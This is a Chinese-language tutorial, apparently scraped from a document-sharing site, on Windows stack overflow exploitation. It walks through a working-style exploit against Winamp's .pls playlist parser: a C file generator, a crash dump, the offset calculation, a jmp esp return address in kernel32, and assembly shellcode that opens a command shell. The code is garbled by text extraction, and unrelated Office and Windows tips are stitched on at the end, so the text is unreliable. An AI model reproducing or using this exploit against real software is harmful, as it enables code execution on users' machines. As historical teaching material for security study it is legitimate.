windows系统下的堆栈溢出内容摘要:
windows 缓冲区溢出的思路。 思路是这样的:返回地址 A的内容不指向我们的 shellcode开始地点,否则的话A里面必然含有 0。 我们知道系统核心的dll都是在 2- 4G,也就是从 0x80000000到 0xffffffff,这里面的指令地址将不包含0,(当然几个别的除外,我们可以不用他)。 因此,我们可以令返回地址 A等于一个系统核心 dll中的指令的地址,这个指令的 作用就是 call/jmp 我们的 shellcode。 但是他怎么才能知道我们的 shellcode的地址呢。 答案是:用寄存器。 因为在溢出发生的时候,除了 eip跳到了系统核心 dll去之外,其他的通用寄存器都保持不变。 在寄存器里面一定有我们的 shellcode的相关信息。 比如说,敌人的函数如果有参数的话,那么我们的 A覆盖了他的返回地址 , shellcode 的开始地址则恰恰在他的第一个参数的位置上,那我们就可以用 call [ebp+4]或者我们假设敌人第一个参数的地址在 eax,那我们就可以使用call/jmp eax来调用 shellcode。 这些寄存器的值,我们可以在第一讲里面提到的“关闭程序框”里面获得寄存器和堆栈的详细资料。 那么我们怎么知道哪里有 call/jmp eax什么的呢。 我们又怎么知道这些指令是每次都在内存中可以直接调用呢。 答案是:系统核心 dll。 系统核心 dll 包括 ,dll是一直位于内存中而且对应于固定的版本 windows 加载的位置是固定的。 你可以在这些 dll里面搜索你需要的指令。 其他的 dll,比如 msvcrt。 dll 就要去看程序自己的 import列表了。 看看他是否load了这个 dll。 不过一般的说,这几个dll就够了。 好,那么我们的 shellcode最终为: NNNNNNNNNNNNNNNASSSSSSSS 其中: N为 NOP指令 A 为指向某一条 call/jmp 指令的地址,这个 call/jmp 指令位于系统核心内存 0x80000000,这个 call/jmp指令具体的内容,需要根据我们 exploit出来的结果分析得知。 S: shellcode。 有了这些基础知识,我们来分析一个实例。 大家都有 winamp 吧,他的 有缓冲区漏洞,下面我们来实现一个 exploit。 winamp 的 playlist 支持文件 *.pls 存放playlist。 playlist里面的文件名长度如果大于一定长度就会发生堆栈溢出。 我们可以写出测试串,精确的测试。 include int main() { char buffer[640]。 char eip[8] =。 char sploit[256] =。 FILE *file。 for(int x=0。 x640。 x++) { switch(x%4) { case 0: buffer[x] = 39。 A39。 break。 case 1: buffer[x] = 39。 A39。 +x/26%26/26%26。 break。 case 2: buffer[x] = 39。 A39。 +x/26%26。 break。 case 3: buffer[x] = 39。 A39。 +x%26。 break。 } } buffer[x]=0。 file = fopen(,wb)。 fprintf(file, [playlist]\n)。 fprintf(file, File1=)。 fprintf(file, %s, buffer)。 fprintf(file, %s, eip)。 fprintf(file, %s, sploit)。 fprintf(file, \nNumberOfEntries=1)。 fclose(file)。 printf(\t created file loaded with the exploit.\n)。 return 0。 } 算法很简单,是写出一个 ,内容可以根据那几个 fprintf 看出来的。 我就不讲了,其中 buffer 的内容为测试用的字符串。 这个测试程序可以测试最长为 26^3的串,足够了。 编译执行,看看结果,嘿,发生了堆栈溢出,结果如下: WINAMP 在 00de:4c574141 的模块 未知 中导致无效页错误。 Registers: EAX=00000001 CS=017f EIP=4c574141 EFLGS=00000206 EBX=006da30c SS=0187 ESP=006da170 EBP=006da2f4 ECX=00000000 DS=0187 ESI=00445638 FS=4bd7 EDX=005b02dc ES=0187 EDI=00000001 GS=4206 Bytes at CS:EIP: Stack dump: 50574141 54574141 58574141 42584141 46584141 4a584141 4e584141 52584141 56584141 5a584141 44594141 48594141 4c594141 50594141 根据 eip=4141574c 计算得出, addr = (57h41h)*26+(4ch41h)4 = 580. 好,溢出的位置为 580。 大家现在知道我们的溢出字符串中,返回地址 A应该在串的 580处,那么我们应该让他使用什么 call/jmp 指令以达到shellcode呢。 看看寄存器 dump,我们发现 ESP 里面的内容是 41415750,恰好是 4141574c之后的第一个数。 看来 ESP指向我们的shellcode,太棒了。 我们使用指令: jmp ESP 就可以执行我们的 shellcode了。 现在找出 jmp esp 的指令码为 FF E4,ctrlD 调出 sice,看看内存里面那里有 FF dll 的加载 地址都是从地址 0xBf000000开始,所以我们搜索 s Bf000000 L ffffffff ff,e4 得到了哪些结果。 一堆呀,这第一个是: BFF795A3。 看看softice 里 面 的 进 程 名 称 栏 :Kernel32!GetDataFormatA+1554好,是,肯定是可以用的啦。 ok,问题解决,我们现在可以确定在buffer〔 580〕处,写入四个字节:\xa3\x95\xf7\xbf.这就是我们的溢出字符串中的返回地址 A。 好了,现在溢出字符串已经基本分析完了,就差 shellcode了。 下面我们来写 shellcode。 我们的 shellcode 要开一个 dos 窗口。 C语言的算法描述是: LoadLibrary()。 system()。 exit(0); 很简单,是不是。 下面是汇编代码: 首先要 LoadLibrary()。 push ebp mov ebp,esp xor eax,eax push eax push eax push eax mov byte ptr[ebp0Ch],4Dh mov byte ptr[ebp0Bh],53h mov byte ptr[ebp0Ah],56h mov byte ptr[ebp09h],43h mov byte ptr[ebp08h],52h mov byte ptr[ebp07h],54h mov byte ptr[ebp06h],2Eh mov byte ptr[ebp05h],44h mov byte ptr[ebp04h],4Ch mov byte ptr[ebp03h],4Ch mov edx,0xBFF776D4 //LoadLibrary push edx lea eax,[ebp0Ch] push eax call dword ptr[ebp10h] 然后是开一个 dos窗口: push ebp mov ebp, esp sub esp, 0000002C mov eax, 6D6D6F63 mov dword ptr [ebp0C], eax mov eax, 2E646E61 mov dword ptr [ebp08], eax。windows系统下的堆栈溢出
相关推荐
而删除行和列。 “ 线型 ” 、 “ 粗细 ” 、 “ 边框颜色 ”等按钮允许您指定构成表格的边框的外观。 “ 外部框线 ” 允许您绘制表格的外围边框线。 注意,通过把鼠标指针指向 “ 表格和边框 ” 工具栏上的按钮可以知道该按钮的名称。 看到按钮 的名称您就能知道(或猜出)按钮的功能。 如果仍有问题,请询问 Office 助手。 创建样式 您可以使用多种方法创建样式
的梦。 朱自清 3)输入完成后,下面来进行格式设置,标题需要 居中 ,最后的作者放在 右边 ,这些可以用工具栏中的对齐按钮; 4)选中 标题 “荷塘月色”,然后点一下这个“ 居中 ”按钮,文 件就到了中间, 5)选中 “ 朱自清 ”,然后在工具栏左边,找到按钮组的 分界处 ,点一下分界按钮,出来一个按钮列表,在里头找着“ 右对齐 ”按钮 ,点击选中; 13 其他还有“左对齐”
2 ,UsersRunDll命令(注意区分大小写),打开用户帐户窗口,去除 要使用本机,用户必须输入用户名密码 复选框中的勾号。 然后点 应用按钮 在新窗口里输入你要自动登陆系统的账户名和密码,最后点确定即可。 这样在下次登录时就可自动登录了。 若要选择不同的帐户,只要在启动时按 Shift键就可以了。 【注 1】 windows 98 登陆密码在系统所在分区内所有以 .pwl 为后缀的文件
、更干净了。 解除组策略锁定 其实 Windows 中组策略限制是通过加载注册表特定键值来实现的,而在安全模式下并不会加载这个限制。 重启开机后按住 F8键,在打开的多重启动菜单窗口,选择 “带命令提示符的安全模式 ”。 进入桌面后,在启动的命令提示符下输入 “C:\Windows\System32\(你启动的程序 )”,启动控制台,再按照如上操作即可解除限制,最后重启正常登录系统即可解锁。 注
ents and Settings\ XXX(当前登录 Windows XP 的用户名 ) .. 打开 Windows XP 所在的盘符下的 Documents and Settings 文件夹 ... 打开 “我的电脑 ”选项。 辅助工具向导 直 接显示安装工具 允许程序打开制定目录中的数据 显示和更改计算机的 IP 与硬件物理地址的对应列表 计划运行任务 ATM 调用管理器统计